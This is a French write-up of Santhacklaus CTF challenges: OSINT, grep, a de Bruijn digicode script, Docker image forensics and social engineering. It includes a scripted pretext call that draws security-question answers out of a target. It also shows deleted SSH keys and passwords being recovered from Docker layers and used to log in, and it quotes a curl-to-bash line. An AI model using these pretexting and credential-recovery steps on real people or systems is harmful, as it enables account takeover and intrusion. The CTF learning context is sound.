HO HO HO (Welcome 25 pts)
Ho ho ho ! Welcome to the Santhacklaus CTF v2. We hope you'll like this edition :) In the mean time, why don't you flag this welcome challenge ?
The flag has two parts. First part is on our Twitter channel. Second part is in our Discord server. Expect something in l33tspeak. Flag is SANTA{sha256(concat(part1, part2))}
Exemple with part1=hello_ and part2=friend, flag would be SANTA{sha256(hello_friend)} = SANTA{db51...c331}
On sait que le flag est en deux partie :
- Twitter https://twitter.com/santhacklaus
- Discord SANTHACKLAUS CTF
Sur le twitter, on trouve un jolie tweet du 6 novembre
Et sur le discord une jolie partie 2 en header
Mention spécial à Penthium2 qui m'a hint pour la partie 2 (En vrai c'est dur croyez moi ... )
Reste à hasher en SHA256
echo -e M3rryChR1stm4SYouF1LTHY4nimaL5 | sha256sum
7fd4528dfbe8a280e565547cf69325eefdbf1a2c4d400906ed2314ba32883e82
flag : SANTA{7fd4528dfbe8a280e565547cf69325eefdbf1a2c4d400906ed2314ba32883e82}
THE BEGINNING (MISC 25 pts)
A trip down memory lane...
Santhacklaus CTF was born in 2018. Raised by four proud dads, it became something more and has grown in many ways.
We need you to find the flag of the "Bonjour" challenge of the firt edition. It is not in a SANTA{} format but in IMTLD{}.
Un peu d'OSINT pour commencer, on demande à Google (comme d'ab)
ctf santhacklaus writeup "bonjour"
First result ! si on regarde le contenu du writeup
https://gist.github.com/senges/dd7567b00b6fd7920394f58e7ab21c05
Enfin exécutez la commande suivante (en prenant soit de remplacer xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx par la valeur copiée juste avant).
curl 'https://santhacklaus.xyz/api/v1/challenges/attempt' \
> -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0' \
> -H 'Accept: application/json' \
> -H 'Accept-Language: en-US,en;q=0.5' \
> --compressed \
> -H 'Referer: https://santhacklaus.xyz/challenges' \
> -H 'content-type: application/json' \
> -H 'origin: https://santhacklaus.xyz' \
> -H 'Connection: keep-alive' \
> -H 'Cookie: session=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx' \
> -H 'TE: Trailers' --data '{"challenge_id":14,"submission":"IMTLD{BaguetteForXMAS}"}'
flag : IMTLD{BaguetteForXMAS}
GREPEPE (MISC 50 pts)
Do you know grep ? Regex ? Well you should. It's very useful, especially during CTFs. Remember the flag is something like SANTA{fl4g_f0rmAT}.
Un fichier txt est fournit, la dedans c'est un sac de nœud
OS3bin&SSARSAb.SzRSANSANTbC_SSSSANTSSSVSSANT_S9SSSUs
hSScSSSS'SSASACSDSSSSSANSANSS_SS`S&SSASSANT]SANSSSANSSoSrSSSSK:J_8gSSANTiSWSSSS.SASA&NSAS/SSSASSANSASSASASpSSSASA8RS*SSIFSSSSA
deeSSSSSASSSSANhuR.SSRSSSA9MSANSASx8rSAYSARSSSe+StSrSANSSSXhSSAxSASSASSSAO6SLSSANTS
lSANSSSS{}`SS3SSANSSASANPSSASSSSSSoSANSvSTSASSSN%SZ>SANSAS3STSSSAN
QSS.L_S|SSASASANTSSANWSASANSASSSsSSANSANbSSSA{}SSANSSwSANSSSANS{}S6SASvSNSANOSANSSANTASANSANSSUS SAN7SSASAqSJSA.eSSASSS_SSSwb:SSASASANTASSANTASANSAS4lSSS:SSi_SANSASSS*SSANSAtrjSANTASANSSSSANSSSANTA;SANSSANKS#SSSSANSAN9LSANTASSSANTirpSAS SU(SASSpSSTSSANSlS.SAGSA(SANSS^SSANSSANTA
SVS2SANpSSSANSAN^qCYSAY1fqSAS{}SAN9SSANSASA_SSASANSANTSSX=HpS[TS{}SStSSANSA7SAS6_{}StSANTASASSS(SifFSANYSASN{}UScSANTAS:gSANSxSANTASSS`9SA"SASSOSSS
SSA`-SSSANSA{}SANTASAS=SSASSA)SGSANSszS_SANTASSAS3'SSSASANSANSSANTSSmSfxSoSSfSA=SANTA7SS]SSASSAN7nSAS6_SSANTS<SX_Wl_WSSASJS^9SS@kSANSSvSANTSANS*1SSANS{}SSSSAS\ Sv"9SANTSANSSA.S]SASANGSAMHSANSANSSANTASSSAgbSA%SANSNSSSASSANSA9SSASS{}SSSD SANtDp8SANcSsSANV.SSSANSFBSA_SANSANTA]SSANSSAZSSSSASANT5SZBSASADSUSANSSSANSANSwySAN*NW:SS`"wSSWSANTSSArSnStSSSzSAN:[Oe3*SSTSANSSANSSANTAS+SSASANTSSASStSSASS{} )SSSSS NSANA2SANSSrSAS
SAUSASBSAS]R$SANTSGSHSGSANTy5S SSSQlSASk[SA.SANTSASA9SANTASASPSSANTSSSAS>SASSASANTASSSSSSSSAS_SSA]S:SSYSSANSANTSApipZSANd6oSlSSS{}SSANzSASASANSYSSSANSA'SSS=SANT
tSAN$SA{}9SSSSSSzhSSSSS{}S_S
YSANTlSSANTAk_SSS{}
....
Un petit grep des familles avec la bonne option (On voit pas la couleur dommage)
cat flag.txt | grep "SANTA{" --color
~qSSANSSSSSANTASSSSASS2SANT@SANTSI7SANtS^SA<SSANzSSANMMSANySSM$SANTASASXSS'_?SANSAN:FSSSANSA{}SSSSSANTSYbSASASASA8US?'eNSSAySrSSATSA"SASVSANTSANSWSTSAeS.SFSAN,SA8SSAGJS5SASuA4S_SSSSANTXSSSSANTA{grep_is_pretty_US3f(..)l}<SSjSANSSSATSASSASASSJSSAitSA1cSSSANTSSANTSSSSANKASASAS{}t!SSANTSA)S!SA SANSSSAN9jrZ?rSANSSSSSSSSSAS^SSASANTASANSASqSANSASSSANSSJYS1SuSAS
flag : {grep_is_pretty_US3f(..)l}
Call me if you can (Part 1) (Social Engineering 150 pts)
You have been contracted to get information on a target.
You need to find his number first
Everything you need is in the investigation folder. You don't need to go online.
Flags is SANTA{+33XXXXXXXXX}. Just replace the X's with the numbers you'll find. Once you find the number, don't call it, you will unlock another challenger with further instructions.
Une archive est fournit, elle contient plusieurs dossiers contenant plusieurs fichiers
tree
.
├── Dropsbox
│ ├── 3c9f1550bfa66f48d82d166f978bc2f8.pdf
│ ├── 5ae51f9bf48ddc082fdb83f3f1bf612c.pdf
│ ├── 79bc419ba71c464f77986eb60a3e9fdd.pdf
│ ├── 7a551750a648d3059d2385d5058cea7e.pdf
│ ├── 8a4e1425767cfce6d967f6399ffbceba.pdf
│ ├── 9e444b0fc8b937cfc58fcd1a6280d04d.pdf
│ ├── 9fd9d47270bbc75f765835a435f0e5fb.pdf
│ ├── b18bc307d0a5911a15eadfb83d8b0504.pdf
│ ├── ce8b5773ede1293b7eefffea757f737f.png
│ ├── dd0d83c7c7b310693fb4a16fc9035fb7.pdf
│ ├── ea062527cb24d8663b6819d2893b121a.pdf
│ ├── f762754554211647b663b152ab080530.pdf
│ ├── f82645294cae45d53c980ea24440f6c3.ods
│ └── fe18010c71ea1fb5a62bd703e976afb8.pdf
├── Keylog & recordings
│ ├── 29488780488a0b6a06f7fd491fe5c021.m4a
│ └── a57227ea3f4eb6de8120cf30ac26846c.log
└── Social Networks
├── Fakebook
│ ├── 0a92f64b25e17202d295e1920fbe88fd.jpeg
│ ├── 1197587d9d8d5428ba7b525a508956b1.jpg
│ ├── 12e92b9e8254f7ff73345d12ff7268ce.jpg
│ ├── 32dbd552b8a967fdb25910184c37e4d4.jpg
│ ├── 84057b704fc6a4508b4b3446b8388d94.mp4
│ ├── c1c59af2a8e1c0e4f9555533247329c3.jpg
│ ├── ddeca591b56beffc614ce06224bf0719.jpg
│ ├── dfc5a9210294315fc1da2b757eee6d01.jpg
│ └── ed3294264398b6198a0e47f5054277e4.mp4
├── Linksin
│ └── cfbdeeeba7cfc77865d45ece99eea764.png
└── Minigram
├── 015ac39aa27e6120084ef181347c5555.jpg
├── 0524717ac2e5b851e4b0a2090b0321f8.jpg
├── 09a358531af60558f35e4b3a430f68bf.jpg
├── 379df76c0534ea4671224645234bc98d.jpg
├── 5688d7aa42462ea07cf682f559d5e51b.jpg
├── 637e886323fa832f014f6d2f69543628.jpg
├── 8d4cd3519b6cb3013052f34a5604c6b9.jpg
├── ade67625ccdd3549d61fea5d30a239ed.jpg
├── bad8de4e45a76be9e764adf58c7d7572.jpg
└── f6016d5a8d4a94761268f5f27056c64e.jpg
Comme son nom (Part X) l'indique, il y aura plusieurs challenges avec ces mêmes fichiers, en fouillant un peu dans les PNG celui-ci donne la puce à l’oreille
En jouant avec la lumière/contraste de l'image (via GIMP ou https://29a.ch/photo-forensics/#forensic-magnifier) les numéros ressortent mieux
En les testant à la suite ...
flag : SANTA{+33634683367}
Call me if you can (PART 2) (Social Engineering 150 pts)
We need the answers to his security questions. We know you don't have a lot of information but we need you to try anyway. We've been told that there is nothing you can't do. You may need to use the investigation folder (here) and the target's phone number +33 (0)7 73 XX XX XX.
Special challenge rules : remember there is a human behind the phone. Don't call in the middle of the night. Keep a realistic behaviour.
The security questions are:
- What is/was your first dog's name ?
- What was your dream job when you were kid ?
- What brand was your first car ?
Send the answers to nwodtuhs[at]pm.me. If they're correct, you'll get an answer with the flag.
Le but est de soutirer les informations suivantes à Fabrice Noraget :
- Nom du chien
- Le job de rêve lorsqu'il était enfant
- La marque de sa première voiture
Pour cela un numéro de téléphone nous est donné ainsi que l'archive précédente.
Ce challenge a été un travail d'équipe (CC Penthium2 et tes bières !) Notre chère penthium2 s'est occupé de la partie OSINT et moi de la partie social engineering (Grace à l'ancestrale technique du 4 grammes)
OSINT (Penthium2):
Dans l'archive, plusieurs documents nous permettent d'avoir certaines informations potentielles
- Une jolie photo de chien avec un collier "Jack"
2. Une facture de notre cible (on sait qu'il habite à Tourettes Sur Loup)
3. Des photos / vidéos de badminton (maybe be voulait il être pro ?)
Penthium2 dans son esprit diabolique avait commencé a mijoter un plan terrible avec les autres informations qu'il à pu obtenir.
C'est alors que je pris mon téléphone et appelé Fabrice Noraget en total impro
Social engineering (K-lfa)
F : Fabrice Noraget (La cible)
K : K-lfa (L'attaquant un peu troll)
F : Allo ?
K : Félicitation ! vous avez été séléctionné pour une scéance de voyance avec Dorian le voyant ! Avez-vous 3 minutes ?
F : Oui ! :)
K : Je vais vous posez 5 questions, si je me trompe vous gagnez une scéance de SPA + 5 scéances de voyance avec notre maitre
F : Comment avez vous eu mon numéro ?
K : Au hasard, vous êtes chanceux croyez moi !
F : OK Allons-y :)
K : Tout d'abord, je vais trouver votre nom, j'hésite entre J ou F (Jean ou Fabrice), A votre voix je dirai Fabrice ?
F : Waow, impréssionant ! bravo !
K : C'est un métier vous savez ... Maintenant votre adresse, j'hésite entre nord ou sud, vous n'avez pas d'accent mais je dirai le sud et du coté d'Antibes ?
F : Waow ! juste à coté, vous y êtes casiment ! ça compte, bravo ! :)
K : Maintenant je vais deviner vos animaux ainsi que leur nom. Je suis sur que vous avez un chien, blanc, j'hésiterai entre Rex, Rookie ou Jack
F : ....
K : Jack ! c'est Jack !
F : Oui bravo, mais j'avais un chien
K : (La je me suis senti con) : Hmmm désolé si il lui est arrivé quelque chose (RIP Jack <3)
F : Pas de soucis ! et bravo :)
K : Encore 2 questions, le job de rêve lorsque vous étiez enfant, j'hésite entre sportif ou informatique, a vrai dire l'informatique ne vous interesse pas (l0l), un professionnel du tennis / badmington ?
F : Et nan pas du tout ! je souhaitais être militaire ! Quel dommage, mais vous savez quoi je vous laisse une seconde chance !
K : Fabrice vous êtes génial, pour cloturer je vais trouver la marque de votre première voiture ! (Merde j'ai 0 infos) Je dirai marque française répandue ! J'hésite entre peugeot et renault
F : Oui ...
K : Et je mise sur la clio 2 !
F : Ahhhhh mince, vraiment pas loin ! c'etait une clio 1 (l00l), bravo quand même très impressionant !
K : Bravo, vous avez gagné vos prix, Maitre charle Attan va vous contacter, sinon vous pouvez le joindre au 06 66 66 66 66
F : C'est original comme numéro ! (Mention spécial a penthium2 qui était plié)
K : C'est pour s'en souvenir facilement, merci de votre temps et encore bravo, au revoir Fabrice
And voila :
- Jack
- Militaire
- Clio 2
Après avoir envoyé les informations à l'adresse mail, on get le flag
flag : SANTA{s0ci4L_engin33Rd}
Grosse Grosse Grosse dédicasse à Shutdown qui était derrière ce numéro à répondre et jouer le jeu ! Super exercice !
Digipad simulator (200pts Prog)
Find the pass, get the flag
IP: 46.30.204.44 Port: 4000
Please do not Bruteforce this chall, theRe is a logic behind it. YoU Just Need to find It
On a une IP un port TCP, lorsqu'on se connecte dessus :
nc 46.30.204.44 4000
,---,---,---,
| 1 | 2 | 3 |
'---,---,---'
| | 5 | |
'---,---,---'
| | 8 | 9 |
'---,---,---'
| * | | # |
'---'---'---'
Better be fast, you have 2 seconds.
Enter the 4 digit code : 1234
Wrong code, bye
On sait que le code change tout le temps à chaque requêtes ce qui complique la chose, comme tout le monde j'ai tenté le bruteforce ... Sans succès :) (Je ne balancerai pas les collègues qui ont flag via bruteforce pendant des heures :D )
En regardant l’énoncé on remarque des lettre en majuscule qui donnent bruijn
Merci à penthium2 qui m'a partagé cet article indispensable https://www.institut-pandore.com/plus/deviner-code-dun-interphone-grace-aux-suites-de-de-bruijn/
– Si je tape 0000, puis 0001 : je tape 2 combinaisons distinctes sur mon digicode. Ça marche, mais ce n’est pas optimal.
– Si je tape 00001 : je ne tape plus qu’une combinaison, qui contient les deux précédentes, sans répétition. Voila déjà une mini-suite de De Bruijn.
Donc il nous faut faire une suite 0000 1000 2000 3000 4000 .... (sans les espaces) heureusement que le précédent lien donne toute les combinaisons possibles pour 4 touches
echo "0000100020003000..." > code.txt
sed -i 's/ //g' code.txt # On vire les espaces entre chaque combinaison
En testant d'envoyer tout d'un coup, il y a un contrôle sur la taille de la chaine reçu sur le serveur
cat code.txt | nc 46.30.204.44 4000
,---,---,---,
| | 2 | |
'---,---,---'
| 4 | | 6 |
'---,---,---'
| 7 | 8 | |
'---,---,---'
| * | 0 | # |
'---'---'---'
Better be fast, you have 2 seconds.
Enter the 4 digit code : String is too long..
Hmmm, avant d'envoyer notre bousin, il faut identifier le nombre maximum de caractères possible, pour ça une boucle for avec des caractères en incrémental
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import socket, re, time
hote = "46.30.204.44"
port = 4000
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect((hote, port))
connected = True
clientsocket.settimeout(2)
nb = 1
nbchars = nb * 'A'
while True:
try:
clientsocket.send(nbchars.encode())
print("Test with", nb, "A")
nb += 1
nbchars = nbchars = nb * 'A'
reponse = clientsocket.recv(4096)
if re.findall(r'String is too long', reponse.decode()):
print("Max size chars : \n")
print(nb -1)
quit()
except socket.timeout:
pass
connected = False
clientsocket = socket.socket()
clientsocket.settimeout(3)
while not connected:
try:
time.sleep(5)
clientsocket.connect((hote, port))
connected = True
except socket.error:
clientsocket.close()
quit()
Ce qui nous donne :
./test.py
Test with 1 A
Test with 2 A
Test with 3 A
Test with 4 A
Test with 5 A
Test with 6 A
Test with 7 A
....
Max size chars : 256
On sait que le nombre max d'envoi est 256, maintenant découpons la liste de code en block et play it :D
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import socket, time, re
hote = "46.30.204.44"
port = 4000
limite = "String is too long"
notcode = "Wrong code, bye"
codelist = open('code', 'r').readlines()
codestr = codelist[0].rstrip('\n')
codeblock = [codestr[i:i+256]for i in range(0, len(codestr), 256)]
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect((hote, port))
connected = True
clientsocket.settimeout(2)
start = time.time()
while True:
try:
for block in codeblock:
block = block + "\n"
time.sleep(1)
clientsocket.send(block.encode())
reponse = clientsocket.recv(18096)
if re.findall(r'lag', reponse.decode()):
print("Flag is your !\n")
end = time.time()
print(reponse.decode())
print(" Flag in : ", end - start)
quit()
except socket.timeout:
pass
connected = False
clientsocket = socket.socket()
clientsocket.settimeout(2)
if not connected:
try:
clientsocket.connect((hote, port))
connected = True
except socket.error:
clientsocket.close()
quit()
Et lorsqu'on le lance :
./digicode.py
Yes ! The flag is : SANTA{yOu_ar3_mY_Br0_uijn}
Flag is your !
Flag in : 5.6604580
flag : SANTA{yOu_ar3_mY_Br0_uijn}
Naughty Docker (Forensic/Ops 350 pts)
It looks like a naughty developer has been deploying a Docker image on a Santa production server a few days before Christmas. He was in a rush and was not able to properly pass all security checks on the built Docker image. Would be a shame if this image could give you an SSH access to the production server... http://46.30.204.47"
Avec cet énoncé, on sait qu'il s'agit de récupérer un accès SSH, via l'URL, une page web nous donne l'image docker en question
On installe les images prévues
docker run --rm -p 3000:3000 -d santactf/app
En regardant sur l'URL, rien de vraiment intéressant (surtout après avoir bruteforcé l'URL ...)
On commence à investiguer le container
$docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
0910fcf1d57d santactf/app "docker-entrypoint.s…" 2 minutes ago Up 2 minutes 0.0.0.0:3000->3000/tcp sad_perlman
$docker exec -i -t -u root 0910fcf1d57d bash
root@0910fcf1d57d:/home/node# ls -a
. .. .bash_logout .profile node_modules package-lock.json package.json server.js
root@0910fcf1d57d:/home/node# ls -a /root/
. .. .bashrc .config .npm .profile
root@0910fcf1d57d:/home/node# cat /root/.bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# Note: PS1 and umask are already set in /etc/profile. You should not
# need this unless you want different defaults for root.
# PS1='${debian_chroot:+($debian_chroot)}\h:\w\$ '
# umask 022
...
Après investigation du système, aucun artefact n'a été trouvé (Damn !)
N'ayant pas eu l'occasion d'utiliser docker récemment, j'ai du me retaper la doc et voir qu'une option history permet de voir tout les commit sur une image
$docker history santactf/app
IMAGE CREATED CREATED BY SIZE COMMENT
ddde36e22093 4 days ago /bin/sh -c #(nop) CMD ["node" "server.js"] 0B
<missing> 4 days ago /bin/sh -c #(nop) USER node 0B
<missing> 4 days ago /bin/sh -c #(nop) COPY file:8b53431519dafa70… 458B
<missing> 4 days ago /bin/sh -c npm ci 5.59MB
<missing> 4 days ago /bin/sh -c #(nop) COPY multi:2f093554c78265f… 12.8kB
<missing> 4 days ago /bin/sh -c #(nop) WORKDIR /home/node 0B
<missing> 4 days ago /bin/sh -c #(nop) EXPOSE 3000 0B
<missing> 4 days ago /bin/sh -c #(nop) CMD ["node"] 0B
<missing> 4 days ago /bin/sh -c #(nop) ENTRYPOINT ["docker-entry… 0B
<missing> 4 days ago /bin/sh -c #(nop) COPY file:6781e799bed1693e… 116B
<missing> 4 days ago /bin/sh -c ln -s /usr/local/bin/node /usr/lo… 19B
<missing> 4 days ago /bin/sh -c ARCH= && dpkgArch="$(dpkg --print… 67.2MB
<missing> 4 days ago /bin/sh -c #(nop) COPY dir:795933707ce316a31… 18.6kB
<missing> 4 days ago /bin/sh -c #(nop) ENV NODE_VERSION=12.13.1 0B
<missing> 4 days ago /bin/sh -c groupadd --gid 1000 node && use… 333kB
<missing> 4 weeks ago /bin/sh -c set -ex; apt-get update; apt-ge… 562MB
<missing> 4 weeks ago /bin/sh -c apt-get update && apt-get install… 142MB
<missing> 4 weeks ago /bin/sh -c set -ex; if ! command -v gpg > /… 7.81MB
<missing> 4 weeks ago /bin/sh -c apt-get update && apt-get install… 23.2MB
<missing> 4 weeks ago /bin/sh -c #(nop) CMD ["bash"] 0B
<missing> 4 weeks ago /bin/sh -c #(nop) ADD file:152359c10cf61d800… 101MB
$docker history santactf/app --no-trunc | cut -c 96-
/bin/sh -c #(nop) CMD ["node" "server.js"] 0B
/bin/sh -c #(nop) USER node 0B
/bin/sh -c #(nop) COPY file:8b53431519dafa70baa13c0dd04861e8688090bfece040ae71244d2e14a66845 in /home/node/ 458B
/bin/sh -c npm ci 5.59MB
/bin/sh -c #(nop) COPY multi:2f093554c78265fc6aeb1cb343015e8e8e7227fee6a0504f55721b9af13a16a6 in /home/node/ 12.8kB
/bin/sh -c #(nop) WORKDIR /home/node 0B
/bin/sh -c #(nop) EXPOSE 3000 0B
/bin/sh -c #(nop) CMD ["node"] 0B
/bin/sh -c #(nop) ENTRYPOINT ["docker-entrypoint.sh"] 0B
/bin/sh -c #(nop) COPY file:6781e799bed1693e0357678a6692f346b66879c2248ff055a2ff51cc0a83288b in /usr/local/bin/ 116B
/bin/sh -c ln -s /usr/local/bin/node /usr/local/bin/nodejs && rm /home/node/.bashrc /home/node/.bash_history && rm -rf /usr/share/prod-common 19B
/bin/sh -c ARCH= && dpkgArch="$(dpkg --print-architecture)" && case "${dpkgArch##*-}" in amd64) ARCH='x64';; ppc64el) ARCH='ppc64le';; s390x) ARCH='s390x';; arm64) ARCH='arm64';; armhf) ARCH='armv7l';; i386) ARCH='x86';; *) echo "unsupported architecture"; exit 1 ;; esac && curl -fsSLO --compressed "https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-$ARCH.tar.xz" && curl -fsSLO --compressed "https://nodejs.org/dist/v$NODE_VERSION/SHASUMS256.txt.asc" && tar -xJf "node-v$NODE_VERSION-linux-$ARCH.tar.xz" -C /usr/local --strip-components=1 --no-same-owner && rm "node-v$NODE_VERSION-linux-$ARCH.tar.xz" SHASUMS256.txt.asc 67.2MB
/bin/sh -c #(nop) COPY dir:795933707ce316a3189ec6fd11f015b1acbc4eae6d5f01185625a86edaa2c5c4 in / 18.6kB
/bin/sh -c #(nop) ENV NODE_VERSION=12.13.1 0B
/bin/sh -c groupadd --gid 1000 node && useradd --uid 1000 --gid node --shell /bin/bash --create-home node 333kB
/bin/sh -c set -ex; apt-get update; apt-get install -y --no-install-recommends autoconf automake bzip2 dpkg-dev file g++ gcc imagemagick libbz2-dev libc6-dev libcurl4-openssl-dev libdb-dev libevent-dev libffi-dev libgdbm-dev libglib2.0-dev libgmp-dev libjpeg-dev libkrb5-dev liblzma-dev libmagickcore-dev libmagickwand-dev libmaxminddb-dev libncurses5-dev libncursesw5-dev libpng-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev libtool libwebp-dev libxml2-dev libxslt-dev libyaml-dev make patch unzip xz-utils zlib1g-dev $( if apt-cache show 'default-libmysqlclient-dev' 2>/dev/null | grep -q '^Version:'; then echo 'default-libmysqlclient-dev'; else echo 'libmysqlclient-dev'; fi ) ; rm -rf /var/lib/apt/lists/* 562MB
/bin/sh -c apt-get update && apt-get install -y --no-install-recommends bzr git mercurial openssh-client subversion procps && rm -rf /var/lib/apt/lists/* 142MB
/bin/sh -c set -ex; if ! command -v gpg > /dev/null; then apt-get update; apt-get install -y --no-install-recommends gnupg dirmngr ; rm -rf /var/lib/apt/lists/*; fi 7.81MB
/bin/sh -c apt-get update && apt-get install -y --no-install-recommends ca-certificates curl netbase wget && rm -rf /var/lib/apt/lists/* 23.2MB
/bin/sh -c #(nop) CMD ["bash"] 0B
/bin/sh -c #(nop) ADD file:152359c10cf61d80091bfd19e7e1968a538bebebfa048dca0386e35e1e999730 in /
On remarque que des fichiers pouvant contenir des informations sensible ont été supprimés
docker history santactf/app --no-trunc | grep rm --color
...
rm /home/node/.bashrc /home/node/.bash_history && rm -rf /usr/share/prod-common
...
AND magie ! les fichiers supprimés n'ont pas été cleanés, ils sont disponibles dans un dossier dans /var/lib/docker/overlay2/ allons les chercher !
D'abord le .bash_history
$find /var/lib/docker -name ".bash_history" -exec cat {} \;
exit
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install git make
curl -sL https://deb.nodesource.com/setup_4.x | sudo -E bash -
sudo apt-get install -y nodejs
sudo apt-get install libavahi-compat-libdnssd-dev
sudo npm install -g --unsafe-perm santa2019 hap-nodejs node-gyp
cd /usr/lib/node_modules/santa2019/
cd /usr/lib/node_modules/hap-nodejs/node_modules/mdns
sudo node-gyp BUILDTYPE=Release rebuild
cd ~
santa2019
sudo npm install -g santa2019-nest
cd ~/.santa2019/
ls
cd accessories/
ls
cd ..
cd persist/
ls
cd ..
nano config.json
santa2019
nano config.json
nano config.json
santa2019
cd /etc/default/
sudo nano santa2019
cd /etc/systemd/system/
sudo nano santa2019.service
useradd --system santa2019
sudo useradd --system santa2019
cd /var
mkdir santa2019
sudo mkdir santa2019
cd santa2019/
cd ..
ls -alF
sudo chmod 777 santa2019
ls -alF
systemctl daemon-reload
sudo systemctl daemon-reload
sudo systemctl enable santa2019
sudo systemctl start santa2019
systemctl status santa2019
sudo raspi-config
vncserver
vncpasswd
vncpasswd -type
nano config.json
santa2019
nano config.json
vncpasswd -type Password
vncpasswd -type "Password"
sudo nano /etc/ssh/sshd_config
sudo service restart ssh
sudo service ssh restart
vncserver -kill :1
sudo service vncserver stop
export ARCHIVE_PIN=25362
ls ~/.ssh
cd ~
ssh-keygen -t rsa -C jmding0714@gmail.com
cd ~/.ssh/
ls
santa2019
nano config.json
santa2019
santa2019
ls
nano config.json
santa2019
nano config.json
santa2019
nano config.json
santa2019
pwd
chmod 777 config.json
santa2019
nano config.json
santa2019
nano config.json
santa2019
ifconfig
nano authorized_keys
ls
rm authorized_keys
sudo nano /etc/modprobe.d/raspi-blacklist.conf
reboot
cd ~
ls
mkdir apps
cd apps
crontab -e
ls
./upload_ip_address.sh
nano upload_ip_address.sh
./upload_ip_address.sh
exit
cd /var/santa2019/
ls
cp ~/.santa2019/config.json config.json
nano config.json
reboot
systemctl santa2019 status
systemctl status santa2019
cd /var/santa2019/
ls
chmod 777 config.json
systemctl status santa2019
sudo chown -R santa2019:santa2019 /var/santa2019
vncserver -kill :1
cd $PRODUCTION_DIR
zip --password "$ARCHIVE_PIN" "$PRODUCTION_BACKUP_FILE" id_santa_production*
vncserver -geometry 800x600
sudo chmod 777 -R /var/santa2019
ls /usr/local/bin/
which santa2019
nano /etc/systemd/system/santa2019.service
sudo nano /etc/systemd/system/santa2019.service
reboot
systemctl status santa2019
journalctl santa2019
santa2019
nano config.json
journalctl -u santa2019
exit
nano ~/.ssh/authorized_keys
ssh -p 5700 rudolf-the-reindeer@46.30.204.47
exit
vncserver
raspi-config
sudo raspi-config
vncserver -kill :1
vncserver -geometry 800x600
exit
cd ~/apps/
kls
ls
nano upload_ip_address.sh
rm ip_address.txt
exit
w
write pi pts/0
echo "hi" > /dev/pts/0
exit
sudo apt-get update
.upload_ip_address.sh
./upload_ip_address.sh
ls
rm ip_address.txt
clear
ls -a
ls -a /root/
cat /root/.bashrc
docker hist
exit
ls -a
ls -a /root/
cat /root/.bashrc
docker hist
exit
On y remarque les artefacts suivants :
- ssh -p 5700 rudolf-the-reindeer@46.30.204.47
- zip --password "$ARCHIVE_PIN" "$PRODUCTION_BACKUP_FILE" id_santa_production*
- export ARCHIVE_PIN=25362
Ensuite le dossier prod-common
$find /ar/lib/docker/ -name "prod-common" -exec ls {} \;
./overlay2/5b39012939cb72a325620963c5b1f095df5a955d37c762cc78c40a0e0ca30547/diff/usr/share/prod-common
dev_081219_backup.zip dev_091219_backup.zip dev_101219_backup.zip dev_111219_backup.zip dev_121219_backup.zip dev_131219_backup.zip dev_141219_backup.zip dev_151219_backup.zip dev_161219_backup.zip
$unzip /var/lib/docker/overlay2/67ee3be43c671ff9cb38af47930473775791e39d7e29378b8cce19bc292ac152/diff/usr/share/prod-common/dev_081219_backup.zip
Archive: /var/lib/docker/overlay2/67ee3be43c671ff9cb38af47930473775791e39d7e29378b8cce19bc292ac152/diff/usr/share/prod-common/dev_081219_backup.zip
[/var/lib/docker/overlay2/67ee3be43c671ff9cb38af47930473775791e39d7e29378b8cce19bc292ac152/diff/usr/share/prod-common/dev_081219_backup.zip] id_santa_production password:
skipping: id_santa_production incorrect password
skipping: id_santa_production.pub incorrect password
Grâce à l'history on sait qu'il a zippé les fichiers avec le mot de passe 25362 (ARCHIVE_PIN=25362)
$find /var/lib/docker/overlay2/67ee3be43c671ff9cb38af47930473775791e39d7e29378b8cce19bc292ac152/diff/usr/share/prod-common/ -name "*.zip" -exec unzip -P 25362 {} \;
Archive: /var/lib/docker/overlay2/67ee3be43c671ff9cb38af47930473775791e39d7e29378b8cce19bc292ac152/diff/usr/share/prod-common/dev_121219_backup.zip
skipping: id_santa_production incorrect password
skipping: id_santa_production.pub incorrect password
.....
Archive: /var/lib/docker/overlay2/67ee3be43c671ff9cb38af47930473775791e39d7e29378b8cce19bc292ac152/diff/usr/share/prod-common/dev_141219_backup.zip
inflating: id_santa_production
inflating: id_santa_production.pub
$file id_santa_production*
id_santa_production: OpenSSH private key
id_santa_production.pub: OpenSSH ECDSA public key
Good ! On a la clef SSH, reste à l'exploiter ( informations dans le .bash_history précedemment)
$ssh -i id_santa_production -p 5700 rudolf-the-reindeer@46.30.204.47
The authenticity of host '[46.30.204.47]:5700 ([46.30.204.47]:5700)' can't be established.
ECDSA key fingerprint is SHA256:Txv3goHZqkUkwjfAUvmJ9L1eAOtVZBC/f052V0jnCWc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[46.30.204.47]:5700' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_santa_production':
Un mot de passe est demandé ! allons voir dans les .bashrc au hasard ...
find /var/lib/docker/overlay2/ -name ".bashrc" -exec cat {} \;
...
#alias la='ls -A'
#alias l='ls -CF'
HISTCONTROL=ignoreboth
HISTSIZE=1000
HISTFILESIZE=2000
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
...
export PRD_PWD='HoHoHo2020!NorthPole'
...
On récupère ce qui ressemble à une variable contenant un mot de passe :D
Si on test :
ssh -i id_santa_production -p 5700 rudolf-the-reindeer@46.30.204.47
Enter passphrase for key 'id_santa_production':
___ _ _ _ _____ _ ___ _____ ___
/ __| /_\ | \| |_ _/_\ / __|_ _| __|
\__ \/ _ \| .` | | |/ _ \ | (__ | | | _|
|___/_/ \_\_|\_| |_/_/ \_\ \___| |_| |_|
Well done, the flag is SANTA{NeverTrustDockerImages7263}
You may now log out of this server with "exit"
-bash-5.0$
Moralité, toujours clean ses images pour éviter de laisser de la data sensible !
flag : SANTA{NeverTrustDockerImages7263}
Revmomon (Forensic/Crypta 500 pts)
